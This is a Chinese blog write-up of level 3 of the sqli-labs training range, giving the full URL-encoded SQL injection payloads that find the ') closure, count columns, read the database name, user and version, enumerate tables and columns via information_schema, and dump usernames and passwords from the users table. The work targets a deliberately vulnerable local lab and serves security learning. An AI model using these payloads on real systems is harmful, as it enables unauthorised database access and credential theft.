SQL注入之sqli-labs靶场第三关

标题:SQL注入之sqli-labs靶场第三关

目录:
1.寻找注入点
2.进行字段猜解
3.信息收集
4.sql注入

总结:

1.寻找注入点


在这里插入图片描述

在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=1%27)%20and%201=2--+

通过尝试发现注入点,使用双引号和)闭合,进行and 1=1 and 1=2 进行尝试

2.进行字段猜解


在这里插入图片描述
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=1%27)%20order%20by%204%20--+

使用order by 进行字段猜解,发现字段数为3

3.信息收集


使用union联合查询进行回显点查询
在这里插入图片描述
发现会显点2,3
进行信息收集:
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,database(),user()%20--+

经过查询发现数据库名:security,用户为root
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,version()%20--+

版本号为:5.7.26

4.sql注入


爆破表名
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+

爆破字段名
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+

发现回显这么多字段名:Id,name,pass,flag,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,id,username
可能是由于数据库中有同名不同库得表导致得
所以对security.users表进行查询,
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,(select%20group_concat(Id,name,pass,flag,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,id,username)%20from%20security.users)%20%20--+

通过报错内容对字段进行排查,筛选
在这里插入图片描述

http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,(select%20group_concat(Id,0x3A,username,0x3A,password)%20from%20security.users)%20%20--+

最终查询出表中内容

总结


1.主要考察闭合方式 ’ 和)
2.order by 猜解字段数
3.union 联合查询
4.对MySQL数据库的information_schema库中的schemata,tables,columns,表的熟悉

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值